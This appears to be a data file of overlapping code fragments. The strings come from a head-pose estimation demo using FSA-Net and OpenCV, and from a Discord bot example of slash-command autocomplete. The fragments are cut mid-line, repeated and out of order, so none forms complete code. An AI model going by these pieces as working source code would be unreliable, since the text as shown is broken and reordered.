"= [num_capsule, dim_capsule, routings, num_primcaps, m_dim] model3 = FSA_net_noS_Capsule(image_size, num_classes,",
"# get video frame ret, input_img = cap.read() img_idx =",
"routings, num_primcaps, m_dim] model3 = FSA_net_noS_Capsule(image_size, num_classes, stage_num, lambda_d, S_set)()",
"input_img = cap.read() img_idx = img_idx + 1 img_h, img_w,",
"startX h = endY - startY x2 = x1+w y2",
"sin(pitch)) + tdy cv2.line(img, (int(tdx), int(tdy)), (int(x1),int(y1)),(0,0,255),3) cv2.line(img, (int(tdx), int(tdy)),",
"# extract the confidence (i.e., probability) associated with the #",
"3:7] * np.array([w0, h0, w0, h0]) (startX, startY, endX, endY)",
"= max(int(y1 - ad * h), 0) xw2 = min(int(x2",
"stage_num = [3,3,3] lambda_d = 1 num_classes = 3 image_size",
"loading model 3.') inputs = Input(shape=(64,64,3)) x1 = model1(inputs) #1x1",
"sys sys.path.append('..') import numpy as np from math import cos,",
"* np.pi / 180 yaw = -(yaw * np.pi /",
"h0, w0, h0]) (startX, startY, endX, endY) = box.astype(\"int\") #",
"face.squeeze() img = draw_axis(input_img[yw1:yw2 + 1, xw1:xw2 + 1, :],",
"detected.shape[2]>0: for i in range(0, detected.shape[2]): # extract the confidence",
"filter out weak detections if confidence > 0.5: # compute",
"screen) drawn in blue x3 = size * (sin(yaw)) +",
"yw2 = min(int(y2 + ad * h), img_h - 1)",
"for # the face and extract the face ROI (h0,",
"for i in range(0, detected.shape[2]): # extract the confidence (i.e.,",
"= min(int(y2 + ad * h), img_h - 1) cv2.rectangle(input_img,",
"16 routings = 2 stage_num = [3,3,3] lambda_d = 1",
"1.') weight_file2 = '../pre-trained/300W_LP_models/fsanet_var_capsule_3_16_2_21_5/fsanet_var_capsule_3_16_2_21_5.h5' weight_file3 = '../pre-trained/300W_LP_models/fsanet_noS_capsule_3_16_2_192_5/fsanet_noS_capsule_3_16_2_192_5.h5' model2.load_weights(weight_file2) print('Finished loading",
"S_set = [num_capsule, dim_capsule, routings, num_primcaps, m_dim] model1 = FSA_net_Capsule(image_size,",
":] = img return input_img def main(): os.makedirs('./img',exist_ok=True) img_size =",
"p_result[0][2]) input_img[yw1:yw2 + 1, xw1:xw2 + 1, :] = img",
"while True: # get video frame ret, input_img = cap.read()",
"cos, sin from lib.FSANET_model import * import numpy as np",
"np.empty((detected.shape[2], img_size, img_size, 3)) input_img = draw_results_ssd(detected,input_img,faces,ad,img_size,img_w,img_h,model) # cv2.imwrite('img/'+str(img_idx)+'.png',input_img) cv2.imshow(\"result\",",
"/ 180 if tdx != None and tdy != None:",
"# filter out weak detections if confidence > 0.5: #"
] |
[
"= [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"indigo\", \"violet\"] LOTS_OF_COLORS =",
"[\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"indigo\", \"violet\"] LOTS_OF_COLORS = [",
"\"orchid\", \"palegoldenrod\", \"palegreen\", \"plum\", \"powderblue\", \"purple\", \"red\", \"rosybrown\", \"royalblue\", \"saddlebrown\",",
"this big list!\", autocomplete=discord.utils.basic_autocomplete(color_searcher), # Demonstrates passing a callback to",
"static iterable is passed. While a small amount of values",
"\"saddlebrown\", \"sienna\", \"springgreen\", \"steelblue\", \"tan\", \"teal\", \"thistle\", \"tomato\", \"turquoise\", \"violet\",",
"discord.commands import option bot = discord.Bot(debug_guilds=[...]) COLORS = [\"red\", \"orange\",",
"only display any results in the returned list if the",
"return [color for color in COLORS if color.startswith(ctx.value.lower())] async def",
"the BASIC_ALLOWED list. This is to demonstrate passing a callback",
"list of colors that begin with the characters entered so",
"Demonstrates using ctx.options to create options that are dependent on",
"\"floralwhite\", \"forestgreen\", \"fuchsia\", \"gainsboro\", \"ghostwhite\", \"gold\", \"goldenrod\", \"gray\", \"green\", \"greenyellow\",",
"using the discord.utils.basic_autocomplete helper function. For the `color` option, a",
"far.\"\"\" return [color for color in COLORS if color.startswith(ctx.value.lower())] async",
"example, iterables of any length can be passed to discord.utils.basic_autocomplete",
"return [\"blue jay\", \"blue whale\"] elif picked_color == \"indigo\": return",
"the returned list if the user's ID exists in the",
"list. This is to demonstrate passing a callback in the",
"this example async def color_searcher(ctx: discord.AutocompleteContext): \"\"\" Returns a list",
"a callback in the discord.utils.basic_autocomplete function. \"\"\" return [color for",
"return [color for color in LOTS_OF_COLORS if ctx.interaction.user.id in BASIC_ALLOWED]",
"[color for color in LOTS_OF_COLORS if ctx.interaction.user.id in BASIC_ALLOWED] async",
"the color selected for the \"color\" option.\"\"\" picked_color = ctx.options[\"color\"]",
"values are returned. For the `animal` option, a static iterable",
"only return a maximum of 25 items. \"\"\" await ctx.respond(f\"You",
"for the animal.\") @bot.slash_command(name=\"ac_basic_example\") @option( \"color\", description=\"Pick a color from",
"list of discord user IDs for the purpose of this",
"a maximum of 25 items. \"\"\" await ctx.respond(f\"You picked {color}",
"\"crimson\", \"cyan\", \"darkblue\", \"deepskyblue\", \"dimgray\", \"dimgrey\", \"dodgerblue\", \"firebrick\", \"floralwhite\", \"forestgreen\",",
"iterable is passed. While a small amount of values for",
"import discord from discord.commands import option bot = discord.Bot(debug_guilds=[...]) COLORS",
"static iterable discord.utils.basic_autocomplete ) async def autocomplete_basic_example( ctx: discord.ApplicationContext, color:",
"\"indigo\", \"ivory\", \"khaki\", \"lavender\", \"lavenderblush\", \"lawngreen\", \"lightcoral\", \"maroon\", \"mediumaquamarine\", \"mediumblue\",",
"This is to demonstrate passing a callback in the discord.utils.basic_autocomplete",
"\"\"\" Demonstrates using ctx.options to create options that are dependent",
"so far.\"\"\" return [color for color in COLORS if color.startswith(ctx.value.lower())]",
"display any results in the returned list if the user's",
"callback uses the input from the color option to return",
"\"mediumaquamarine\", \"mediumblue\", \"mediumorchid\", \"midnightblue\", \"navajowhite\", \"navy\", \"oldlace\", \"olive\", \"olivedrab\", \"orange\",",
"if ctx.interaction.user.id in BASIC_ALLOWED] async def get_colors(ctx: discord.AutocompleteContext): \"\"\"Returns a",
"] BASIC_ALLOWED = [...] # This would normally be a",
"animals \"\"\" await ctx.respond(f\"You picked {color} for the color, which",
"\"azure\", \"beige\", \"bisque\", \"blueviolet\", \"brown\", \"burlywood\", \"cadetblue\", \"cornflowerblue\", \"cornsilk\", \"crimson\",",
"callback is passed, where additional logic can be added to",
"color option to return an iterable of animals \"\"\" await",
"In this example, we've added logic to only display any",
"autocomplete_example( ctx: discord.ApplicationContext, color: str, animal: str, ): \"\"\" Demonstrates",
"[color for color in COLORS if color.startswith(ctx.value.lower())] async def get_animals(ctx:",
"\"orangered\", \"orchid\", \"palegoldenrod\", \"palegreen\", \"plum\", \"powderblue\", \"purple\", \"red\", \"rosybrown\", \"royalblue\",",
"that the basic_autocomplete function itself will still only return a",
"butterfly\", \"orchid dottyback\"] else: return [\"rainbowfish\"] @bot.slash_command(name=\"ac_example\") @option(\"color\", description=\"Pick a",
"passing a static iterable discord.utils.basic_autocomplete ) async def autocomplete_basic_example( ctx:",
"you to choose {animal} for the animal.\") @bot.slash_command(name=\"ac_basic_example\") @option( \"color\",",
"Note that the basic_autocomplete function itself will still only return",
"elif picked_color == \"blue\": return [\"blue jay\", \"blue whale\"] elif",
"be added to determine which values are returned. For the",
"discord from discord.commands import option bot = discord.Bot(debug_guilds=[...]) COLORS =",
"from this small list\", autocomplete=discord.utils.basic_autocomplete([\"snail\", \"python\", \"cricket\", \"orca\"]), # Demonstrates",
"@option(\"color\", description=\"Pick a color!\", autocomplete=get_colors) @option(\"animal\", description=\"Pick an animal!\", autocomplete=get_animals)",
"characters entered so far.\"\"\" return [color for color in COLORS",
"to choose {animal} for the animal.\") @bot.slash_command(name=\"ac_basic_example\") @option( \"color\", description=\"Pick",
"color from this big list!\", autocomplete=discord.utils.basic_autocomplete(color_searcher), # Demonstrates passing a",
"\"royalblue\", \"saddlebrown\", \"sienna\", \"springgreen\", \"steelblue\", \"tan\", \"teal\", \"thistle\", \"tomato\", \"turquoise\",",
"\"palegoldenrod\", \"palegreen\", \"plum\", \"powderblue\", \"purple\", \"red\", \"rosybrown\", \"royalblue\", \"saddlebrown\", \"sienna\",",
"we've added logic to only display any results in the",
"a static iterable is passed. While a small amount of",
"def get_colors(ctx: discord.AutocompleteContext): \"\"\"Returns a list of colors that begin",
"in the discord.utils.basic_autocomplete function. \"\"\" return [color for color in",
"discord.Bot(debug_guilds=[...]) COLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"indigo\", \"violet\"]",
"return [\"goldfinch\", \"banana slug\"] elif picked_color == \"green\": return [\"tree",
"the \"color\" option.\"\"\" picked_color = ctx.options[\"color\"] if picked_color == \"red\":",
"the color option to return an iterable of animals \"\"\"",
"returned list if the user's ID exists in the BASIC_ALLOWED",
"\"\"\"Returns a list of colors that begin with the characters",
"\"navajowhite\", \"navy\", \"oldlace\", \"olive\", \"olivedrab\", \"orange\", \"orangered\", \"orchid\", \"palegoldenrod\", \"palegreen\",",
"For the `animal` option, the callback uses the input from",
"are dependent on the values of other options. For the",
"is passed, where additional logic can be added to determine",
"@option(\"animal\", description=\"Pick an animal!\", autocomplete=get_animals) async def autocomplete_example( ctx: discord.ApplicationContext,",
"are returned. For the `animal` option, a static iterable is",
"of colors that begin with the characters entered so far.\"\"\"",
"for color in LOTS_OF_COLORS if ctx.interaction.user.id in BASIC_ALLOWED] async def",
"description=\"Pick a color from this big list!\", autocomplete=discord.utils.basic_autocomplete(color_searcher), # Demonstrates",
"\"red\", \"rosybrown\", \"royalblue\", \"saddlebrown\", \"sienna\", \"springgreen\", \"steelblue\", \"tan\", \"teal\", \"thistle\",",
"to return an iterable even if only one item elif",
"picked_color == \"indigo\": return [\"eastern indigo snake\"] # Needs to",
"to only display any results in the returned list if",
"list if the user's ID exists in the BASIC_ALLOWED list.",
"\"purple\", \"red\", \"rosybrown\", \"royalblue\", \"saddlebrown\", \"sienna\", \"springgreen\", \"steelblue\", \"tan\", \"teal\",",
"of matching colors from the LOTS_OF_COLORS list. In this example,",
"a list of animals that are (mostly) the color selected",
"discord.utils.basic_autocomplete Note that the basic_autocomplete function itself will still only",
"of this example async def color_searcher(ctx: discord.AutocompleteContext): \"\"\" Returns a",
"that begin with the characters entered so far.\"\"\" return [color",
"the characters entered so far.\"\"\" return [color for color in",
"indigo snake\"] # Needs to return an iterable even if",
"which values are returned. For the `animal` option, a static",
"Returns a list of matching colors from the LOTS_OF_COLORS list.",
"discord.utils.basic_autocomplete ) async def autocomplete_basic_example( ctx: discord.ApplicationContext, color: str, animal:",
"elif picked_color == \"yellow\": return [\"goldfinch\", \"banana slug\"] elif picked_color",
"small amount of values for `animal` are used in this",
"dottyback\"] else: return [\"rainbowfish\"] @bot.slash_command(name=\"ac_example\") @option(\"color\", description=\"Pick a color!\", autocomplete=get_colors)",
"the `animal` option, a static iterable is passed. While a",
"picked_color == \"red\": return [\"cardinal\", \"ladybug\"] elif picked_color == \"orange\":",
"\"navy\", \"oldlace\", \"olive\", \"olivedrab\", \"orange\", \"orangered\", \"orchid\", \"palegoldenrod\", \"palegreen\", \"plum\",",
"function. \"\"\" return [color for color in LOTS_OF_COLORS if ctx.interaction.user.id",
"\"cadetblue\", \"cornflowerblue\", \"cornsilk\", \"crimson\", \"cyan\", \"darkblue\", \"deepskyblue\", \"dimgray\", \"dimgrey\", \"dodgerblue\",",
"ctx: discord.ApplicationContext, color: str, animal: str, ): \"\"\" Demonstrates using",
"if only one item elif picked_color == \"violet\": return [\"purple",
"\"\"\"Returns a list of animals that are (mostly) the color",
"\"orange\": return [\"clownfish\", \"tiger\"] elif picked_color == \"yellow\": return [\"goldfinch\",",
"whale\"] elif picked_color == \"indigo\": return [\"eastern indigo snake\"] #",
"str, animal: str, ): \"\"\" This demonstrates using the discord.utils.basic_autocomplete",
"\"sienna\", \"springgreen\", \"steelblue\", \"tan\", \"teal\", \"thistle\", \"tomato\", \"turquoise\", \"violet\", \"wheat\",",
"str, animal: str, ): \"\"\" Demonstrates using ctx.options to create",
"BASIC_ALLOWED list. This is to demonstrate passing a callback in",
"for `animal` are used in this example, iterables of any",
"demonstrates using the discord.utils.basic_autocomplete helper function. For the `color` option,",
"\"thistle\", \"tomato\", \"turquoise\", \"violet\", \"wheat\", \"white\", \"whitesmoke\", \"yellow\", \"yellowgreen\", ]",
"For the `animal` option, a static iterable is passed. While",
"autocomplete=get_colors) @option(\"animal\", description=\"Pick an animal!\", autocomplete=get_animals) async def autocomplete_example( ctx:",
"iterable of animals \"\"\" await ctx.respond(f\"You picked {color} for the",
"(mostly) the color selected for the \"color\" option.\"\"\" picked_color =",
"matching colors from the LOTS_OF_COLORS list. In this example, we've",
"[\"tree frog\", \"python\"] elif picked_color == \"blue\": return [\"blue jay\",",
"color.startswith(ctx.value.lower())] async def get_animals(ctx: discord.AutocompleteContext): \"\"\"Returns a list of animals",
"\"\"\" Returns a list of matching colors from the LOTS_OF_COLORS",
"if color.startswith(ctx.value.lower())] async def get_animals(ctx: discord.AutocompleteContext): \"\"\"Returns a list of",
"== \"blue\": return [\"blue jay\", \"blue whale\"] elif picked_color ==",
"an animal from this small list\", autocomplete=discord.utils.basic_autocomplete([\"snail\", \"python\", \"cricket\", \"orca\"]),",
"the values of other options. For the `color` option, a",
"from this big list!\", autocomplete=discord.utils.basic_autocomplete(color_searcher), # Demonstrates passing a callback",
"in COLORS if color.startswith(ctx.value.lower())] async def get_animals(ctx: discord.AutocompleteContext): \"\"\"Returns a",
"of animals \"\"\" await ctx.respond(f\"You picked {color} for the color,",
"ctx: discord.ApplicationContext, color: str, animal: str, ): \"\"\" This demonstrates",
") async def autocomplete_basic_example( ctx: discord.ApplicationContext, color: str, animal: str,",
"\"\"\" await ctx.respond(f\"You picked {color} as your color, and {animal}",
"\"violet\", \"wheat\", \"white\", \"whitesmoke\", \"yellow\", \"yellowgreen\", ] BASIC_ALLOWED = [...]",
"\"orange\", \"orangered\", \"orchid\", \"palegoldenrod\", \"palegreen\", \"plum\", \"powderblue\", \"purple\", \"red\", \"rosybrown\",",
"\"blue\": return [\"blue jay\", \"blue whale\"] elif picked_color == \"indigo\":",
"in the returned list if the user's ID exists in",
"[...] # This would normally be a list of discord",
"\"palegreen\", \"plum\", \"powderblue\", \"purple\", \"red\", \"rosybrown\", \"royalblue\", \"saddlebrown\", \"sienna\", \"springgreen\",",
"\"blueviolet\", \"brown\", \"burlywood\", \"cadetblue\", \"cornflowerblue\", \"cornsilk\", \"crimson\", \"cyan\", \"darkblue\", \"deepskyblue\",",
"discord user IDs for the purpose of this example async",
"of other options. For the `color` option, a callback is",
"selected for the \"color\" option.\"\"\" picked_color = ctx.options[\"color\"] if picked_color",
"entered so far.\"\"\" return [color for color in COLORS if",
"a list of colors that begin with the characters entered",
"logic can be added to determine which values are returned.",
"return a maximum of 25 items. \"\"\" await ctx.respond(f\"You picked",
"async def get_animals(ctx: discord.AutocompleteContext): \"\"\"Returns a list of animals that",
"callback in the discord.utils.basic_autocomplete function. \"\"\" return [color for color",
"a list of matching colors from the LOTS_OF_COLORS list. In",
"used in this example, iterables of any length can be",
"is to demonstrate passing a callback in the discord.utils.basic_autocomplete function.",
"which allowed you to choose {animal} for the animal.\") @bot.slash_command(name=\"ac_basic_example\")",
"are returned. For the `animal` option, the callback uses the",
"option to return an iterable of animals \"\"\" await ctx.respond(f\"You",
"return [\"eastern indigo snake\"] # Needs to return an iterable",
"example, we've added logic to only display any results in",
"color!\", autocomplete=get_colors) @option(\"animal\", description=\"Pick an animal!\", autocomplete=get_animals) async def autocomplete_example(",
"description=\"Pick an animal from this small list\", autocomplete=discord.utils.basic_autocomplete([\"snail\", \"python\", \"cricket\",",
"`animal` option, a static iterable is passed. While a small",
"\"lavenderblush\", \"lawngreen\", \"lightcoral\", \"maroon\", \"mediumaquamarine\", \"mediumblue\", \"mediumorchid\", \"midnightblue\", \"navajowhite\", \"navy\",",
"picked_color == \"violet\": return [\"purple emperor butterfly\", \"orchid dottyback\"] else:",
"[\"eastern indigo snake\"] # Needs to return an iterable even",
"the input from the color option to return an iterable",
"== \"indigo\": return [\"eastern indigo snake\"] # Needs to return",
"discord.utils.basic_autocomplete function. \"\"\" return [color for color in LOTS_OF_COLORS if",
"return [\"tree frog\", \"python\"] elif picked_color == \"blue\": return [\"blue",
"a list of discord user IDs for the purpose of",
"\"\"\" await ctx.respond(f\"You picked {color} for the color, which allowed",
"\"dimgray\", \"dimgrey\", \"dodgerblue\", \"firebrick\", \"floralwhite\", \"forestgreen\", \"fuchsia\", \"gainsboro\", \"ghostwhite\", \"gold\",",
"are used in this example, iterables of any length can",
"helper function. For the `color` option, a callback is passed,",
") @option( \"animal\", description=\"Pick an animal from this small list\",",
"get_colors(ctx: discord.AutocompleteContext): \"\"\"Returns a list of colors that begin with",
"itself will still only return a maximum of 25 items.",
"of 25 items. \"\"\" await ctx.respond(f\"You picked {color} as your",
"animal: str, ): \"\"\" Demonstrates using ctx.options to create options",
"any length can be passed to discord.utils.basic_autocomplete Note that the",
"\"mediumblue\", \"mediumorchid\", \"midnightblue\", \"navajowhite\", \"navy\", \"oldlace\", \"olive\", \"olivedrab\", \"orange\", \"orangered\",",
"to create options that are dependent on the values of",
"{animal} for the animal.\") @bot.slash_command(name=\"ac_basic_example\") @option( \"color\", description=\"Pick a color",
"@bot.slash_command(name=\"ac_basic_example\") @option( \"color\", description=\"Pick a color from this big list!\",",
"iterable even if only one item elif picked_color == \"violet\":",
"that are (mostly) the color selected for the \"color\" option.\"\"\"",
"example async def color_searcher(ctx: discord.AutocompleteContext): \"\"\" Returns a list of",
"@bot.slash_command(name=\"ac_example\") @option(\"color\", description=\"Pick a color!\", autocomplete=get_colors) @option(\"animal\", description=\"Pick an animal!\",",
"@option( \"color\", description=\"Pick a color from this big list!\", autocomplete=discord.utils.basic_autocomplete(color_searcher),",
"\"orchid dottyback\"] else: return [\"rainbowfish\"] @bot.slash_command(name=\"ac_example\") @option(\"color\", description=\"Pick a color!\",",
"can be added to determine which values are returned. For",
"autocomplete=discord.utils.basic_autocomplete([\"snail\", \"python\", \"cricket\", \"orca\"]), # Demonstrates passing a static iterable",
"\"banana slug\"] elif picked_color == \"green\": return [\"tree frog\", \"python\"]",
"\"yellow\": return [\"goldfinch\", \"banana slug\"] elif picked_color == \"green\": return",
"the color, which allowed you to choose {animal} for the",
"\"ghostwhite\", \"gold\", \"goldenrod\", \"gray\", \"green\", \"greenyellow\", \"grey\", \"honeydew\", \"hotpink\", \"indianred\",",
"\"tomato\", \"turquoise\", \"violet\", \"wheat\", \"white\", \"whitesmoke\", \"yellow\", \"yellowgreen\", ] BASIC_ALLOWED",
"\"yellow\", \"yellowgreen\", ] BASIC_ALLOWED = [...] # This would normally",
"\"violet\"] LOTS_OF_COLORS = [ \"aliceblue\", \"antiquewhite\", \"aqua\", \"aquamarine\", \"azure\", \"beige\",",
"discord.ApplicationContext, color: str, animal: str, ): \"\"\" This demonstrates using",
"`animal` are used in this example, iterables of any length",
"\"powderblue\", \"purple\", \"red\", \"rosybrown\", \"royalblue\", \"saddlebrown\", \"sienna\", \"springgreen\", \"steelblue\", \"tan\",",
"\"tan\", \"teal\", \"thistle\", \"tomato\", \"turquoise\", \"violet\", \"wheat\", \"white\", \"whitesmoke\", \"yellow\",",
"\"green\": return [\"tree frog\", \"python\"] elif picked_color == \"blue\": return",
"for the color, which allowed you to choose {animal} for",
"Demonstrates passing a static iterable discord.utils.basic_autocomplete ) async def autocomplete_basic_example(",
"25 items. \"\"\" await ctx.respond(f\"You picked {color} as your color,",
"\"hotpink\", \"indianred\", \"indigo\", \"ivory\", \"khaki\", \"lavender\", \"lavenderblush\", \"lawngreen\", \"lightcoral\", \"maroon\",",
"def autocomplete_example( ctx: discord.ApplicationContext, color: str, animal: str, ): \"\"\"",
"discord.AutocompleteContext): \"\"\"Returns a list of colors that begin with the",
"demonstrate passing a callback in the discord.utils.basic_autocomplete function. \"\"\" return",
"ID exists in the BASIC_ALLOWED list. This is to demonstrate",
"For the `color` option, a callback is passed, where additional",
"on the values of other options. For the `color` option,",
"allowed you to choose {animal} for the animal.\") @bot.slash_command(name=\"ac_basic_example\") @option(",
"async def color_searcher(ctx: discord.AutocompleteContext): \"\"\" Returns a list of matching",
"\"darkblue\", \"deepskyblue\", \"dimgray\", \"dimgrey\", \"dodgerblue\", \"firebrick\", \"floralwhite\", \"forestgreen\", \"fuchsia\", \"gainsboro\",",
"to return an iterable of animals \"\"\" await ctx.respond(f\"You picked",
"of discord user IDs for the purpose of this example",
"option, a static iterable is passed. While a small amount",
"return [\"clownfish\", \"tiger\"] elif picked_color == \"yellow\": return [\"goldfinch\", \"banana",
"logic to only display any results in the returned list",
"\"gold\", \"goldenrod\", \"gray\", \"green\", \"greenyellow\", \"grey\", \"honeydew\", \"hotpink\", \"indianred\", \"indigo\",",
"\"indigo\": return [\"eastern indigo snake\"] # Needs to return an",
"\"olivedrab\", \"orange\", \"orangered\", \"orchid\", \"palegoldenrod\", \"palegreen\", \"plum\", \"powderblue\", \"purple\", \"red\",",
"an iterable of animals \"\"\" await ctx.respond(f\"You picked {color} for",
"list of matching colors from the LOTS_OF_COLORS list. In this",
"animal from this small list\", autocomplete=discord.utils.basic_autocomplete([\"snail\", \"python\", \"cricket\", \"orca\"]), #",
"list of animals that are (mostly) the color selected for",
"jay\", \"blue whale\"] elif picked_color == \"indigo\": return [\"eastern indigo",
"color: str, animal: str, ): \"\"\" Demonstrates using ctx.options to",
"ctx.options[\"color\"] if picked_color == \"red\": return [\"cardinal\", \"ladybug\"] elif picked_color",
"slug\"] elif picked_color == \"green\": return [\"tree frog\", \"python\"] elif",
"\"color\" option.\"\"\" picked_color = ctx.options[\"color\"] if picked_color == \"red\": return",
"get_animals(ctx: discord.AutocompleteContext): \"\"\"Returns a list of animals that are (mostly)",
"where additional logic can be added to determine which values",
"\"green\", \"blue\", \"indigo\", \"violet\"] LOTS_OF_COLORS = [ \"aliceblue\", \"antiquewhite\", \"aqua\",",
"def color_searcher(ctx: discord.AutocompleteContext): \"\"\" Returns a list of matching colors",
"discord.ApplicationContext, color: str, animal: str, ): \"\"\" Demonstrates using ctx.options",
"\"ladybug\"] elif picked_color == \"orange\": return [\"clownfish\", \"tiger\"] elif picked_color",
"\"rosybrown\", \"royalblue\", \"saddlebrown\", \"sienna\", \"springgreen\", \"steelblue\", \"tan\", \"teal\", \"thistle\", \"tomato\",",
"determine which values are returned. For the `animal` option, a",
"ctx.options to create options that are dependent on the values",
"@option( \"animal\", description=\"Pick an animal from this small list\", autocomplete=discord.utils.basic_autocomplete([\"snail\",",
"animal: str, ): \"\"\" This demonstrates using the discord.utils.basic_autocomplete helper",
"\"python\", \"cricket\", \"orca\"]), # Demonstrates passing a static iterable discord.utils.basic_autocomplete",
"amount of values for `animal` are used in this example,",
"\"\"\" return [color for color in LOTS_OF_COLORS if ctx.interaction.user.id in",
"function itself will still only return a maximum of 25",
"\"yellowgreen\", ] BASIC_ALLOWED = [...] # This would normally be",
"the user's ID exists in the BASIC_ALLOWED list. This is",
"{color} for the color, which allowed you to choose {animal}",
"maximum of 25 items. \"\"\" await ctx.respond(f\"You picked {color} as",
"\"midnightblue\", \"navajowhite\", \"navy\", \"oldlace\", \"olive\", \"olivedrab\", \"orange\", \"orangered\", \"orchid\", \"palegoldenrod\",",
"list. In this example, we've added logic to only display",
"elif picked_color == \"indigo\": return [\"eastern indigo snake\"] # Needs",
"ctx.respond(f\"You picked {color} for the color, which allowed you to",
"\"goldenrod\", \"gray\", \"green\", \"greenyellow\", \"grey\", \"honeydew\", \"hotpink\", \"indianred\", \"indigo\", \"ivory\",",
"\"ivory\", \"khaki\", \"lavender\", \"lavenderblush\", \"lawngreen\", \"lightcoral\", \"maroon\", \"mediumaquamarine\", \"mediumblue\", \"mediumorchid\",",
"options. For the `color` option, a callback is passed, where",
"autocomplete=discord.utils.basic_autocomplete(color_searcher), # Demonstrates passing a callback to discord.utils.basic_autocomplete ) @option(",
"from the LOTS_OF_COLORS list. In this example, we've added logic",
"list!\", autocomplete=discord.utils.basic_autocomplete(color_searcher), # Demonstrates passing a callback to discord.utils.basic_autocomplete )",
"colors from the LOTS_OF_COLORS list. In this example, we've added",
"This demonstrates using the discord.utils.basic_autocomplete helper function. For the `color`",
"for color in COLORS if color.startswith(ctx.value.lower())] async def get_animals(ctx: discord.AutocompleteContext):",
"animal.\") @bot.slash_command(name=\"ac_basic_example\") @option( \"color\", description=\"Pick a color from this big",
"to discord.utils.basic_autocomplete Note that the basic_autocomplete function itself will still",
"would normally be a list of discord user IDs for",
"str, ): \"\"\" Demonstrates using ctx.options to create options that",
"\"wheat\", \"white\", \"whitesmoke\", \"yellow\", \"yellowgreen\", ] BASIC_ALLOWED = [...] #",
"\"orca\"]), # Demonstrates passing a static iterable discord.utils.basic_autocomplete ) async",
"== \"orange\": return [\"clownfish\", \"tiger\"] elif picked_color == \"yellow\": return",
"returned. For the `animal` option, a static iterable is passed.",
"\"khaki\", \"lavender\", \"lavenderblush\", \"lawngreen\", \"lightcoral\", \"maroon\", \"mediumaquamarine\", \"mediumblue\", \"mediumorchid\", \"midnightblue\",",
"\"plum\", \"powderblue\", \"purple\", \"red\", \"rosybrown\", \"royalblue\", \"saddlebrown\", \"sienna\", \"springgreen\", \"steelblue\",",
"\"white\", \"whitesmoke\", \"yellow\", \"yellowgreen\", ] BASIC_ALLOWED = [...] # This",
"IDs for the purpose of this example async def color_searcher(ctx:",
"async def autocomplete_basic_example( ctx: discord.ApplicationContext, color: str, animal: str, ):",
"\"gray\", \"green\", \"greenyellow\", \"grey\", \"honeydew\", \"hotpink\", \"indianred\", \"indigo\", \"ivory\", \"khaki\",",
"be a list of discord user IDs for the purpose",
"\"cornsilk\", \"crimson\", \"cyan\", \"darkblue\", \"deepskyblue\", \"dimgray\", \"dimgrey\", \"dodgerblue\", \"firebrick\", \"floralwhite\",",
"`color` option, a callback is passed, where additional logic can",
"callback to discord.utils.basic_autocomplete ) @option( \"animal\", description=\"Pick an animal from",
"ctx.respond(f\"You picked {color} as your color, and {animal} as your",
"are (mostly) the color selected for the \"color\" option.\"\"\" picked_color",
"\"indigo\", \"violet\"] LOTS_OF_COLORS = [ \"aliceblue\", \"antiquewhite\", \"aqua\", \"aquamarine\", \"azure\",",
"Demonstrates passing a callback to discord.utils.basic_autocomplete ) @option( \"animal\", description=\"Pick",
"passing a callback to discord.utils.basic_autocomplete ) @option( \"animal\", description=\"Pick an",
"items. \"\"\" await ctx.respond(f\"You picked {color} as your color, and",
"for the \"color\" option.\"\"\" picked_color = ctx.options[\"color\"] if picked_color ==",
"this small list\", autocomplete=discord.utils.basic_autocomplete([\"snail\", \"python\", \"cricket\", \"orca\"]), # Demonstrates passing",
"def autocomplete_basic_example( ctx: discord.ApplicationContext, color: str, animal: str, ): \"\"\"",
"Needs to return an iterable even if only one item",
"of animals that are (mostly) the color selected for the",
"a static iterable discord.utils.basic_autocomplete ) async def autocomplete_basic_example( ctx: discord.ApplicationContext,",
"passed to discord.utils.basic_autocomplete Note that the basic_autocomplete function itself will",
"color selected for the \"color\" option.\"\"\" picked_color = ctx.options[\"color\"] if",
"\"cyan\", \"darkblue\", \"deepskyblue\", \"dimgray\", \"dimgrey\", \"dodgerblue\", \"firebrick\", \"floralwhite\", \"forestgreen\", \"fuchsia\",",
"added to determine which values are returned. For the `animal`",
"COLORS = [\"red\", \"orange\", \"yellow\", \"green\", \"blue\", \"indigo\", \"violet\"] LOTS_OF_COLORS",
"\"cricket\", \"orca\"]), # Demonstrates passing a static iterable discord.utils.basic_autocomplete )",
"return [\"purple emperor butterfly\", \"orchid dottyback\"] else: return [\"rainbowfish\"] @bot.slash_command(name=\"ac_example\")",
"`animal` option, the callback uses the input from the color",
"small list\", autocomplete=discord.utils.basic_autocomplete([\"snail\", \"python\", \"cricket\", \"orca\"]), # Demonstrates passing a",
"colors that begin with the characters entered so far.\"\"\" return",
"\"blue whale\"] elif picked_color == \"indigo\": return [\"eastern indigo snake\"]",
"a small amount of values for `animal` are used in",
"function. For the `color` option, a callback is passed, where",
"other options. For the `color` option, a callback is passed,",
"create options that are dependent on the values of other",
"length can be passed to discord.utils.basic_autocomplete Note that the basic_autocomplete",
"picked_color == \"yellow\": return [\"goldfinch\", \"banana slug\"] elif picked_color ==",
"return an iterable even if only one item elif picked_color",
"the animal.\") @bot.slash_command(name=\"ac_basic_example\") @option( \"color\", description=\"Pick a color from this",
"async def get_colors(ctx: discord.AutocompleteContext): \"\"\"Returns a list of colors that",
"option, a callback is passed, where additional logic can be",
"\"indianred\", \"indigo\", \"ivory\", \"khaki\", \"lavender\", \"lavenderblush\", \"lawngreen\", \"lightcoral\", \"maroon\", \"mediumaquamarine\",",
"returned. For the `animal` option, the callback uses the input",
"still only return a maximum of 25 items. \"\"\" await",
"\"forestgreen\", \"fuchsia\", \"gainsboro\", \"ghostwhite\", \"gold\", \"goldenrod\", \"gray\", \"green\", \"greenyellow\", \"grey\",",
"\"green\", \"greenyellow\", \"grey\", \"honeydew\", \"hotpink\", \"indianred\", \"indigo\", \"ivory\", \"khaki\", \"lavender\",",
"= [ \"aliceblue\", \"antiquewhite\", \"aqua\", \"aquamarine\", \"azure\", \"beige\", \"bisque\", \"blueviolet\",",
"\"teal\", \"thistle\", \"tomato\", \"turquoise\", \"violet\", \"wheat\", \"white\", \"whitesmoke\", \"yellow\", \"yellowgreen\",",
"# Demonstrates passing a callback to discord.utils.basic_autocomplete ) @option( \"animal\",",
"be passed to discord.utils.basic_autocomplete Note that the basic_autocomplete function itself",
"the discord.utils.basic_autocomplete function. \"\"\" return [color for color in LOTS_OF_COLORS",
"animals that are (mostly) the color selected for the \"color\"",
